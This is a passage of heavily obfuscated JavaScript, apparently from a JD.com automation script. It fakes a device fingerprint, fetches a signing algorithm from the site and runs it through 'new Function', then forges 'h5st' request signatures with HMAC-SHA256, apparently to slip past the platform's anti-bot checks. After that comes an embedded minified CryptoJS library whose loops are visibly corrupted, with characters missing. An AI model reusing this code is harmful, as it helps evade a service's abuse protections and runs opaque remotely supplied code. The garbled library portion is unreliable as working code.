_0x24ad84=0x0;_0x24ad84<0x100;_0x24ad84++){_0x407e7d[_0x24ad84]=_0x24ad84;}for(_0x24ad84=0x0;_0x24ad84<0x100;_0x24ad84++){_0x2deef8=(_0x2deef8+_0x407e7d[_0x24ad84]+_0x7fa80a['charCodeAt'](_0x24ad84%_0x7fa80a['length']))%0x100;_0x2e9dc4=_0x407e7d[_0x24ad84];_0x407e7d[_0x24ad84]=_0x407e7d[_0x2deef8];_0x407e7d[_0x2deef8]=_0x2e9dc4;}_0x24ad84=0x0;_0x2deef8=0x0;for(var _0x431598=0x0;_0x431598<_0x4d9857['length'];_0x431598++){_0x24ad84=(_0x24ad84+0x1)%0x100;_0x2deef8=(_0x2deef8+_0x407e7d[_0x24ad84])%0x100;_0x2e9dc4=_0x407e7d[_0x24ad84];_0x407e7d[_0x24ad84]=_0x407e7d[_0x2deef8];_0x407e7d[_0x2deef8]=_0x2e9dc4;_0x28847f+=String['fromCharCode'](_0x4d9857['charCodeAt'](_0x431598)^_0x407e7d[(_0x407e7d[_0x24ad84]+_0x407e7d[_0x2deef8])%0x100]);}return _0x28847f;}_0xa18f['wUfDiR']=_0x1ae774;_0xa18f['GvQaSQ']={};_0xa18f['uAxCPA']=!![];}var _0x1c2372=_0xa18f['GvQaSQ'][_0x451302];if(_0x1c2372===undefined){if(_0xa18f['NSYJSy']===undefined){_0xa18f['NSYJSy']=!![];}_0x14fcac=_0xa18f['wUfDiR'](_0x14fcac,_0x7fa80a);_0xa18f['GvQaSQ'][_0x451302]=_0x14fcac;}else{_0x14fcac=_0x1c2372;}return _0x14fcac;};async function requestAlgo(){var _0x464b07={'uLhHz':function(_0x39233a,_0xadee72){return _0x39233a+_0xadee72;},'hHsnH':_0xa18f('‮0','NL4*'),'CAVAV':_0xa18f('‮1','eQqP'),'VlxDE':_0xa18f('‮2','jA5)'),'HCHhg':function(_0x408edb,_0x546372,_0x56378f){return _0x408edb(_0x546372,_0x56378f);},'ihNIw':'3.0','UcktU':function(_0x1ce2f2,_0x7c228){return _0x1ce2f2!==_0x7c228;},'jnCgi':'HQZWp','LFFgu':_0xa18f('‮3','72ZM'),'bvcXd':function(_0xef261c){return _0xef261c();},'ySAEB':_0xa18f('‫4','gN4R'),'VpeuF':function(_0x422540,_0x301ad4){return _0x422540(_0x301ad4);},'vDYYj':function(_0x2b7d39,_0x1fdac1){return _0x2b7d39==_0x1fdac1;},'DyiiW':function(_0x1a3e39,_0x47d2b2){return _0x1a3e39<_0x47d2b2;},'gOSTc':function(_0x294f1c,_0x389ea5){return _0x294f1c+_0x389ea5;},'Kdmok':function(_0x15f812,_0x30f70f){return _0x15f812(_0x30f70f);},'mCwTG':function(_0x34edf8,_0x3f7775){return _0x34edf8-_0x3f7775;},'xWfTq':function(_0x373def,_0x5a2a5e){return _0x373def+_0x5a2a5e;},'fIqcr':function(_0x326029,_0x4f37dd){return _0x326029+_0x4f37dd;},'rcBCy':function(_0x49de94,_0x19dbe8){return _0x49de94*_0x19dbe8;},'oYKOL':function(_0x2df178,_0x59b6ff){return _0x2df178-_0x59b6ff;},'iLyCd':function(_0x143a8f,_0x49d5ad){return _0x143a8f-_0x49d5ad;},'APxTa':function(_0x8c947e,_0x4c5ed5){return _0x8c947e-_0x4c5ed5;},'pdDvj':'application/json','cDOxU':_0xa18f('‮5','T0c7'),'Djfoo':'https://prodev.m.jd.com','IKOyD':_0xa18f('‫6','Pypn')};var _0x5a44ab='',_0xd24bfd=_0x464b07[_0xa18f('‮7','eQqP')],_0x25abb5=_0xd24bfd,_0x212b2a=Math['random']()*0xa|0x0;do{ss=_0x464b07[_0xa18f('‮8','eQqP')](_0x464b07[_0xa18f('‮9','5HoE')](getRandomIDPro,{'size':0x1,'customDict':_0xd24bfd}),'');if(_0x464b07['vDYYj'](_0x5a44ab['indexOf'](ss),-0x1))_0x5a44ab+=ss;}while(_0x464b07['DyiiW'](_0x5a44ab['length'],0x3));for(let _0x215b16 of _0x5a44ab['slice']())_0x25abb5=_0x25abb5[_0xa18f('‫a','kR(b')](_0x215b16,'');$['fp']=_0x464b07['gOSTc'](getRandomIDPro({'size':_0x212b2a,'customDict':_0x25abb5}),'')+_0x5a44ab+_0x464b07[_0xa18f('‫b','H%d5')](getRandomIDPro,{'size':_0x464b07[_0xa18f('‮c','sGIs')](_0x464b07[_0xa18f('‫d','EO)X')](0xe,_0x464b07['xWfTq'](_0x212b2a,0x3)),0x1),'customDict':_0x25abb5})+_0x212b2a+'';$['fp']=_0x464b07['xWfTq'](_0x464b07[_0xa18f('‫e','$wA^')](_0x464b07[_0xa18f('‮f','yZ^0')](_0x464b07['fIqcr'](_0x464b07[_0xa18f('‫10','fYXW')]('0',_0x464b07[_0xa18f('‫11','5qKN')](_0x464b07[_0xa18f('‫12','08SP')](0x7c7,0x2a),'')),_0x464b07[_0xa18f('‮13','cY(O')](0x3,0x9)),_0x464b07[_0xa18f('‮14','5qKN')](_0x464b07['rcBCy'](_0x464b07[_0xa18f('‮15','tGEx')](0x1ff,0x1b9),0xb),0x2bc)),_0x464b07[_0xa18f('‮16','GuL0')](_0x464b07[_0xa18f('‫17','P5OF')](0x1c9,0x2f7),0x53c8f)),0x77);let _0x1ec956={'url':_0xa18f('‮18','3#FG'),'headers':{'Accept':_0x464b07[_0xa18f('‮19','6&7h')],'Content-Type':'application/json','Accept-Encoding':_0xa18f('‫1a','GuL0'),'Accept-Language':_0x464b07[_0xa18f('‫1b','5qKN')],'Origin':_0x464b07['Djfoo'],'Referer':_0x464b07[_0xa18f('‫1c','ria#')],'User-Agent':$['UA']},'body':'{\x22version\x22:\x223.0\x22,\x22fp\x22:\x22'+$['fp']+_0xa18f('‫1d','6&7h')+Date[_0xa18f('‮1e','GuL0')]()+_0xa18f('‮1f','kR(b')};return new Promise(async _0x43815a=>{var _0x4a1691={'ItLKv':function(_0x14295e,_0x486851){return _0x464b07['uLhHz'](_0x14295e,_0x486851);},'xPywR':_0x464b07[_0xa18f('‫20','(VTV')],'FJeaB':_0x464b07[_0xa18f('‫21','mA5g')],'vChTw':_0xa18f('‮22','xzG9'),'EgLYv':_0x464b07[_0xa18f('‫23','Pypn')],'OrulT':function(_0x4412e5,_0x3dd008,_0x3d15c2){return _0x464b07[_0xa18f('‮24','P2[M')](_0x4412e5,_0x3dd008,_0x3d15c2);},'mOHPt':_0x464b07[_0xa18f('‫25','Pypn')],'QRMOA':function(_0x5b73a0,_0x413534){return _0x5b73a0(_0x413534);},'vDJvv':function(_0x5ad268,_0x3ee1c6){return _0x464b07['UcktU'](_0x5ad268,_0x3ee1c6);},'YyDmg':'mRpBV','aQTbj':_0x464b07[_0xa18f('‮26','08SP')],'ilsKH':function(_0x358b0d,_0x3c7e95){return _0x358b0d===_0x3c7e95;},'YDIxz':_0x464b07[_0xa18f('‫27','08SP')],'StOmz':_0xa18f('‮28','QPP6'),'thUQP':function(_0x4bcd4f){return _0x464b07[_0xa18f('‫29','6&7h')](_0x4bcd4f);}};$[_0xa18f('‮2a','vtbm')](_0x1ec956,(_0x333c33,_0xcf2cd8,_0x279d98)=>{var _0xbb2fa9={'vnvRx':function(_0x2cc2ca,_0x5eac80){return _0x4a1691['ItLKv'](_0x2cc2ca,_0x5eac80);},'pmNQE':_0x4a1691['xPywR'],'AsaKq':_0x4a1691[_0xa18f('‮2b','n@M6')],'DNkxp':_0xa18f('‫2c','P5OF'),'wuaoX':_0x4a1691[_0xa18f('‮2d','@b$3')],'PkuwI':_0xa18f('‫2e','5qKN'),'zUGMP':_0x4a1691[_0xa18f('‮2f','XcAv')],'yADoy':_0xa18f('‫30','vtbm'),'dBbAq':function(_0x41e6dd,_0x6954fc,_0x57ce94){return _0x4a1691['OrulT'](_0x41e6dd,_0x6954fc,_0x57ce94);},'lPqLD':'yyyyMMddhhmmssSSS','lkYlm':'6a98d','neHMo':_0x4a1691['mOHPt'],'ARTsO':function(_0x2480ad,_0x353910){return _0x4a1691[_0xa18f('‮31','mA5g')](_0x2480ad,_0x353910);}};if(_0x4a1691['vDJvv'](_0x4a1691[_0xa18f('‮32','8*LW')],_0xa18f('‫33','n@M6'))){return _0xbb2fa9[_0xa18f('‮34','kR(b')](e[_0xbb2fa9['pmNQE']],':')+e[_0xa18f('‮35','3#FG')];}else{try{if(_0x4a1691[_0xa18f('‮36','#$gz')]!==_0x4a1691['aQTbj']){var _0x2df12e={'pTzFu':function(_0x3254a0,_0x158aec){return _0x3254a0+_0x158aec;},'CCkOr':_0xa18f('‮37','eQqP')};let _0x4c1567=[{'key':_0xbb2fa9[_0xa18f('‫38',']pyt')],'value':'u'},{'key':_0xbb2fa9[_0xa18f('‮39','ria#')],'value':$[_0xa18f('‮3a','T0c7')][_0xa18f('‮3b','EUyG')]($['toStr'](body,body))[_0xa18f('‮3c','fYXW')]()},{'key':'client','value':_0xbb2fa9[_0xa18f('‫3d','eQqP')]},{'key':_0xa18f('‫3e','EUyG'),'value':_0xbb2fa9[_0xa18f('‫3f','EUyG')]},{'key':'functionId','value':_0xbb2fa9[_0xa18f('‫40','#$gz')]}];let _0x2e2f29=_0x4c1567[_0xa18f('‮41','vtbm')](function(_0x475f29){return _0x2df12e[_0xa18f('‮42','8*LW')](_0x2df12e[_0xa18f('‫43','Pypn')](_0x475f29[_0xa18f('‫44','(VTV')],':'),_0x475f29[_0x2df12e[_0xa18f('‫45','yZ^0')]]);})[_0xbb2fa9['yADoy']]('&');let _0x1e1c2d=Date['now']();let _0x3d8b0c='';let _0x3f7adf=_0xbb2fa9['dBbAq'](format,_0xbb2fa9[_0xa18f('‮46','eQqP')],_0x1e1c2d);_0x3d8b0c=$[_0xa18f('‫47','cY(O')]($[_0xa18f('‮48','EUyG')],$['fp']['toString'](),_0x3f7adf[_0xa18f('‫49','sGIs')](),_0xbb2fa9[_0xa18f('‫4a','shJe')][_0xa18f('‫4b','jA5)')](),$[_0xa18f('‮4c','5qKN')])[_0xa18f('‮4d','$wA^')]();const _0x4211f9=$['CryptoJS']['HmacSHA256'](_0x2e2f29,_0x3d8b0c[_0xa18f('‮4e',']pyt')]())['toString']();let _0x286c0a=[''['concat'](_0x3f7adf[_0xa18f('‮4f','5%j8')]()),''[_0xa18f('‫50','P2[M')]($['fp'][_0xa18f('‫51','EUyG')]()),''['concat'](_0xbb2fa9['lkYlm']['toString']()),''[_0xa18f('‮52','5%j8')]($[_0xa18f('‮53','AJkh')]),''['concat'](_0x4211f9),_0xbb2fa9[_0xa18f('‫54','tGEx')],''['concat'](_0x1e1c2d)][_0xa18f('‮55','3#FG')](';');return _0xbb2fa9[_0xa18f('‫56','eQqP')](encodeURIComponent,_0x286c0a);}else{const {ret,msg,data:{result}={}}=JSON[_0xa18f('‮57','5%j8')](_0x279d98);$[_0xa18f('‮58','cY(O')]=result['tk'];$[_0xa18f('‫59','vtbm')]=new Function(_0xa18f('‮5a','AJkh')+result['algo'])();}}catch(_0x3eb0aa){$[_0xa18f('‮5b','#$gz')](_0x3eb0aa,_0xcf2cd8);}finally{if(_0x4a1691['ilsKH'](_0x4a1691[_0xa18f('‮5c','QPP6')],_0x4a1691[_0xa18f('‮5d','jA5)')])){_0x43815a();}else{_0x4a1691[_0xa18f('‮5e','5%j8')](_0x43815a);}}}});});}function getRandomIDPro(){var _0x6ed2a5={'qfeDf':function(_0x2c0256,_0x41bfa9){return _0x2c0256===_0x41bfa9;},'XDbGX':function(_0x167bdf,_0x1c1fa1){return _0x167bdf<_0x1c1fa1;},'dyNZx':function(_0x39bce1,_0xd7e06a){return _0x39bce1===_0xd7e06a;},'IIEXo':_0xa18f('‫5f','Pypn'),'ZHuxx':'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ','XmqfX':_0xa18f('‮60','3#FG'),'WijrB':function(_0x5a5e61,_0x30f773){return _0x5a5e61|_0x30f773;},'zFojn':function(_0xbd1f1f,_0x532e82){return _0xbd1f1f*_0x532e82;}};var _0x42b29a,_0x46fd88,_0x4628b7=_0x6ed2a5[_0xa18f('‮61','xzG9')](void 0x0,_0x9a0e27=(_0x46fd88=_0x6ed2a5[_0xa18f('‮62','vtbm')](0x0,arguments[_0xa18f('‮63','EO)X')])&&void 0x0!==arguments[0x0]?arguments[0x0]:{})[_0xa18f('‫64','Z^8V')])?0xa:_0x9a0e27,_0x9a0e27=_0x6ed2a5['dyNZx'](void 0x0,_0x9a0e27=_0x46fd88[_0xa18f('‫65','eQqP')])?_0x6ed2a5[_0xa18f('‮66','fYXW')]:_0x9a0e27,_0x2be5d2='';if((_0x46fd88=_0x46fd88['customDict'])&&_0xa18f('‫67','dY]c')==typeof _0x46fd88)_0x42b29a=_0x46fd88;else switch(_0x9a0e27){case _0xa18f('‫68','eBFO'):_0x42b29a=_0x6ed2a5[_0xa18f('‮69','@b$3')];break;case _0xa18f('‫6a','NL4*'):_0x42b29a=_0x6ed2a5[_0xa18f('‮6b','Z^8V')];break;case _0x6ed2a5[_0xa18f('‮6c','08SP')]:default:_0x42b29a=_0xa18f('‮6d','vtbm');}for(;_0x4628b7--;)_0x2be5d2+=_0x42b29a[_0x6ed2a5['WijrB'](_0x6ed2a5[_0xa18f('‫6e','72ZM')](Math[_0xa18f('‫6f','sGIs')](),_0x42b29a['length']),0x0)];return _0x2be5d2;}function h5stSign(_0xa20305){var _0x148997={'fiKAR':function(_0x58d61d,_0x44ef5c){return _0x58d61d+_0x44ef5c;},'PApQW':_0xa18f('‫70','P2[M'),'fLSif':_0xa18f('‫71','kR(b'),'WsAAD':_0xa18f('‮72','AJkh'),'xfSIu':_0xa18f('‮73',')Aq4'),'msvpT':'client','iWeye':_0xa18f('‫74','5%j8'),'PDhPG':_0xa18f('‮75','EO)X'),'Qqtip':_0xa18f('‮76','7WKC'),'QFpTZ':function(_0x348bf6,_0x5335c8,_0xab439){return _0x348bf6(_0x5335c8,_0xab439);},'ugbcy':_0xa18f('‮77','eQqP'),'OvqYH':_0xa18f('‫78','6&7h'),'VgnqC':_0xa18f('‫79','shJe'),'eeBvF':function(_0x3fc045,_0x1f9f9d){return _0x3fc045(_0x1f9f9d);}};let _0x117aa5=[{'key':_0x148997[_0xa18f('‮7a','5qKN')],'value':'u'},{'key':_0x148997['xfSIu'],'value':$['CryptoJS'][_0xa18f('‫7b','GuL0')]($[_0xa18f('‮7c','QPP6')](_0xa20305,_0xa20305))['toString']()},{'key':_0x148997[_0xa18f('‫7d','Pypn')],'value':_0x148997[_0xa18f('‫7e','ria#')]},{'key':'clientVersion','value':_0x148997[_0xa18f('‮7f','08SP')]},{'key':_0x148997['Qqtip'],'value':_0xa18f('‮80','gN4R')}];let _0x4e18f2=_0x117aa5[_0xa18f('‮41','vtbm')](function(_0xab0db1){return _0x148997[_0xa18f('‫81','Pypn')](_0xab0db1[_0x148997['PApQW']]+':',_0xab0db1[_0x148997[_0xa18f('‫82',']pyt')]]);})[_0xa18f('‫83','@b$3')]('&');let _0x3df1eb=Date['now']();let _0x24a4d3='';let _0x1596ac=_0x148997[_0xa18f('‫84','5qKN')](format,_0x148997[_0xa18f('‫85','tGEx')],_0x3df1eb);_0x24a4d3=$[_0xa18f('‮86','3#FG')]($[_0xa18f('‫87','T0c7')],$['fp'][_0xa18f('‮88','eBFO')](),_0x1596ac['toString'](),_0xa18f('‫89','yZ^0')[_0xa18f('‮8a','T0c7')](),$[_0xa18f('‫8b','tGEx')])[_0xa18f('‮8c','AJkh')]();const _0x1d22de=$['CryptoJS']['HmacSHA256'](_0x4e18f2,_0x24a4d3[_0xa18f('‮4f','5%j8')]())['toString']();let _0x334d36=[''[_0xa18f('‫8d','q5X8')](_0x1596ac['toString']()),''['concat']($['fp'][_0xa18f('‮8e','H%d5')]()),''[_0xa18f('‮8f','tGEx')](_0x148997['OvqYH'][_0xa18f('‫4b','jA5)')]()),''[_0xa18f('‫90','$wA^')]($[_0xa18f('‫91','Pypn')]),''[_0xa18f('‮92','gN4R')](_0x1d22de),_0x148997[_0xa18f('‫93','shJe')],''[_0xa18f('‫94','KR7u')](_0x3df1eb)][_0xa18f('‮95','P5OF')](';');return _0x148997[_0xa18f('‫96','UYX2')](encodeURIComponent,_0x334d36);}function format(_0x119f39,_0x50bc78){var _0x2cc762={'ethuF':function(_0x5521cb){return _0x5521cb();},'gKcDZ':'bLDHM','mmajJ':'000','ierna':function(_0x32b645,_0x4e6c15){return _0x32b645==_0x4e6c15;},'ERcmm':'yyyy-MM-dd','Dprqu':function(_0x135e11,_0x12543b){return _0x135e11+_0x12543b;},'YcblL':function(_0x98fdd,_0x269443){return _0x98fdd/_0x269443;},'HhXUu':function(_0x1dd9c3,_0x2198a4){return _0x1dd9c3-_0x2198a4;}};if(!_0x119f39)_0x119f39=_0x2cc762['ERcmm'];var _0x3e62a6;if(!_0x50bc78){_0x3e62a6=Date[_0xa18f('‫97','xzG9')]();}else{_0x3e62a6=new Date(_0x50bc78);}var _0x23d8cc,_0x2d70cc=new Date(_0x3e62a6),_0xff5770=_0x119f39,_0x2b216d={'M+':_0x2cc762[_0xa18f('‮98','$wA^')](_0x2d70cc[_0xa18f('‮99','yZ^0')](),0x1),'d+':_0x2d70cc[_0xa18f('‮9a','jA5)')](),'D+':_0x2d70cc['getDate'](),'h+':_0x2d70cc[_0xa18f('‮9b','08SP')](),'H+':_0x2d70cc[_0xa18f('‮9c','tGEx')](),'m+':_0x2d70cc[_0xa18f('‮9d','dY]c')](),'s+':_0x2d70cc['getSeconds'](),'w+':_0x2d70cc[_0xa18f('‫9e','tGEx')](),'q+':Math[_0xa18f('‫9f','5qKN')](_0x2cc762['YcblL'](_0x2d70cc[_0xa18f('‫a0','XcAv')]()+0x3,0x3)),'S+':_0x2d70cc[_0xa18f('‮a1','GuL0')]()};/(y+)/i[_0xa18f('‮a2','72ZM')](_0xff5770)&&(_0xff5770=_0xff5770['replace'](RegExp['$1'],''['concat'](_0x2d70cc[_0xa18f('‮a3','shJe')]())[_0xa18f('‮a4','5qKN')](_0x2cc762[_0xa18f('‮a5','7WKC')](0x4,RegExp['$1'][_0xa18f('‮a6','@b$3')]))));Object['keys'](_0x2b216d)[_0xa18f('‮a7','5HoE')](_0x23d8cc=>{if(new RegExp('('['concat'](_0x23d8cc,')'))[_0xa18f('‮a8','mA5g')](_0xff5770)){if(_0xa18f('‮a9',')Aq4')===_0x2cc762['gKcDZ']){var _0x3e62a6,_0x119f39='S+'===_0x23d8cc?_0x2cc762[_0xa18f('‫aa','vtbm')]:'00';_0xff5770=_0xff5770['replace'](RegExp['$1'],_0x2cc762['ierna'](0x1,RegExp['$1'][_0xa18f('‫ab','QPP6')])?_0x2b216d[_0x23d8cc]:''[_0xa18f('‮ac','EUyG')](_0x119f39)[_0xa18f('‫ad','5qKN')](_0x2b216d[_0x23d8cc])['substr'](''[_0xa18f('‮ae','fYXW')](_0x2b216d[_0x23d8cc])[_0xa18f('‫af','jA5)')]));}else{try{const {ret,msg,data:{result}={}}=JSON[_0xa18f('‮b0','T0c7')](data);$[_0xa18f('‮b1',']pyt')]=result['tk'];$['genKey']=new Function(_0xa18f('‮b2','T0c7')+result['algo'])();}catch(_0x12018a){$[_0xa18f('‫b3','5HoE')](_0x12018a,resp);}finally{_0x2cc762['ethuF'](resolve);}}}});return _0xff5770;};_0xodD='jsjiami.com.v6'; +function CryptoScripts() { + // prettier-ignore + !function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var t,e,r,i,n,o,s,c,a,h,l,f,d,u,p,_,v,y,g,B,w,k,S,m,x,b,H,z,A,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,mt=mt||function(t){var e;if("undefined"!=typeof window&&window.crypto&&(e=window.crypto),!e&&"undefined"!=typeof window&&window.msCrypto&&(e=window.msCrypto),!e&&"undefined"!=typeof global&&global.crypto&&(e=global.crypto),!e&&"function"==typeof require)try{e=require("crypto")}catch(e){}function r(){if(e){if("function"==typeof e.getRandomValues)try{return e.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof e.randomBytes)try{return e.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var i=Object.create||function(t){var e;return n.prototype=t,e=new n,n.prototype=null,e};function n(){}var o={},s=o.lib={},c=s.Base={extend:function(t){var e=i(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}},a=s.WordArray=c.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=null!=e?e:4*t.length},toString:function(t){return(t||l).stringify(this)},concat:function(t){var e=this.words,r=t.words,i=this.sigBytes,n=t.sigBytes;if(this.clamp(),i%4)for(var o=0;o>>2]>>>24-o%4*8&255;e[i+o>>>2]|=s<<24-(i+o)%4*8}else for(o=0;o>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var e=this.words,r=this.sigBytes;e[r>>>2]&=4294967295<<32-r%4*8,e.length=t.ceil(r/4)},clone:function(){var t=c.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],i=0;i>>2]>>>24-n%4*8&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>3]|=parseInt(t.substr(i,2),16)<<24-i%8*4;return new a.init(r,e/2)}},f=h.Latin1={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>24-n%4*8&255;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>2]|=(255&t.charCodeAt(i))<<24-i%4*8;return new a.init(r,e)}},d=h.Utf8={stringify:function(t){try{return decodeURIComponent(escape(f.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return f.parse(unescape(encodeURIComponent(t)))}},u=s.BufferedBlockAlgorithm=c.extend({reset:function(){this._data=new a.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=d.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(e){var r,i=this._data,n=i.words,o=i.sigBytes,s=this.blockSize,c=o/(4*s),h=(c=e?t.ceil(c):t.max((0|c)-this._minBufferSize,0))*s,l=t.min(4*h,o);if(h){for(var f=0;f>>32-e}function Dt(t,e,r,i){var n,o=this._iv;o?(n=o.slice(0),this._iv=void 0):n=this._prevBlock,i.encryptBlock(n,0);for(var s=0;s>24&255)){var e=t>>16&255,r=t>>8&255,i=255&t;255===e?(e=0,255===r?(r=0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);dt[r]=s^c}t[0]=dt[0]+(dt[7]<<16|dt[7]>>>16)+(dt[6]<<16|dt[6]>>>16)|0,t[1]=dt[1]+(dt[0]<<8|dt[0]>>>24)+dt[7]|0,t[2]=dt[2]+(dt[1]<<16|dt[1]>>>16)+(dt[0]<<16|dt[0]>>>16)|0,t[3]=dt[3]+(dt[2]<<8|dt[2]>>>24)+dt[1]|0,t[4]=dt[4]+(dt[3]<<16|dt[3]>>>16)+(dt[2]<<16|dt[2]>>>16)|0,t[5]=dt[5]+(dt[4]<<8|dt[4]>>>24)+dt[3]|0,t[6]=dt[6]+(dt[5]<<16|dt[5]>>>16)+(dt[4]<<16|dt[4]>>>16)|0,t[7]=dt[7]+(dt[6]<<8|dt[6]>>>24)+dt[5]|0}function Mt(){for(var t=this._X,e=this._C,r=0;r<8;r++)wt[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);kt[r]=s^c}t[0]=kt[0]+(kt[7]<<16|kt[7]>>>16)+(kt[6]<<16|kt[6]>>>16)|0,t[1]=kt[1]+(kt[0]<<8|kt[0]>>>24)+kt[7]|0,t[2]=kt[2]+(kt[1]<<16|kt[1]>>>16)+(kt[0]<<16|kt[0]>>>16)|0,t[3]=kt[3]+(kt[2]<<8|kt[2]>>>24)+kt[1]|0,t[4]=kt[4]+(kt[3]<<16|kt[3]>>>16)+(kt[2]<<16|kt[2]>>>16)|0,t[5]=kt[5]+(kt[4]<<8|kt[4]>>>24)+kt[3]|0,t[6]=kt[6]+(kt[5]<<16|kt[5]>>>16)+(kt[4]<<16|kt[4]>>>16)|0,t[7]=kt[7]+(kt[6]<<8|kt[6]>>>24)+kt[5]|0}return t=mt.lib.WordArray,mt.enc.Base64={stringify:function(t){var e=t.words,r=t.sigBytes,i=this._map;t.clamp();for(var n=[],o=0;o>>2]>>>24-o%4*8&255)<<16|(e[o+1>>>2]>>>24-(o+1)%4*8&255)<<8|e[o+2>>>2]>>>24-(o+2)%4*8&255,c=0;c<4&&o+.75*c>>6*(3-c)&63));var a=i.charAt(64);if(a)for(;n.length%4;)n.push(a);return n.join("")},parse:function(e){var r=e.length,i=this._map,n=this._reverseMap;if(!n){n=this._reverseMap=[];for(var o=0;o>>6-s%4*2;n[o>>>2]|=c<<24-o%4*8,o++}return t.create(n,o)}(e,r,n)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[];!function(){for(var e=0;e<64;e++)s[e]=4294967296*t.abs(t.sin(e+1))|0}();var c=o.MD5=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o=this._hash.words,c=t[e+0],d=t[e+1],u=t[e+2],p=t[e+3],_=t[e+4],v=t[e+5],y=t[e+6],g=t[e+7],B=t[e+8],w=t[e+9],k=t[e+10],S=t[e+11],m=t[e+12],x=t[e+13],b=t[e+14],H=t[e+15],z=o[0],A=o[1],C=o[2],D=o[3];z=f(z=l(z=l(z=l(z=l(z=h(z=h(z=h(z=h(z=a(z=a(z=a(z=a(z,A,C,D,c,7,s[0]),A=a(A,C=a(C,D=a(D,z,A,C,d,12,s[1]),z,A,u,17,s[2]),D,z,p,22,s[3]),C,D,_,7,s[4]),A=a(A,C=a(C,D=a(D,z,A,C,v,12,s[5]),z,A,y,17,s[6]),D,z,g,22,s[7]),C,D,B,7,s[8]),A=a(A,C=a(C,D=a(D,z,A,C,w,12,s[9]),z,A,k,17,s[10]),D,z,S,22,s[11]),C,D,m,7,s[12]),A=a(A,C=a(C,D=a(D,z,A,C,x,12,s[13]),z,A,b,17,s[14]),D,z,H,22,s[15]),C,D,d,5,s[16]),A=h(A,C=h(C,D=h(D,z,A,C,y,9,s[17]),z,A,S,14,s[18]),D,z,c,20,s[19]),C,D,v,5,s[20]),A=h(A,C=h(C,D=h(D,z,A,C,k,9,s[21]),z,A,H,14,s[22]),D,z,_,20,s[23]),C,D,w,5,s[24]),A=h(A,C=h(C,D=h(D,z,A,C,b,9,s[25]),z,A,p,14,s[26]),D,z,B,20,s[27]),C,D,x,5,s[28]),A=h(A,C=h(C,D=h(D,z,A,C,u,9,s[29]),z,A,g,14,s[30]),D,z,m,20,s[31]),C,D,v,4,s[32]),A=l(A,C=l(C,D=l(D,z,A,C,B,11,s[33]),z,A,S,16,s[34]),D,z,b,23,s[35]),C,D,d,4,s[36]),A=l(A,C=l(C,D=l(D,z,A,C,_,11,s[37]),z,A,g,16,s[38]),D,z,k,23,s[39]),C,D,x,4,s[40]),A=l(A,C=l(C,D=l(D,z,A,C,c,11,s[41]),z,A,p,16,s[42]),D,z,y,23,s[43]),C,D,w,4,s[44]),A=l(A,C=l(C,D=l(D,z,A,C,m,11,s[45]),z,A,H,16,s[46]),D,z,u,23,s[47]),C,D,c,6,s[48]),A=f(A=f(A=f(A=f(A,C=f(C,D=f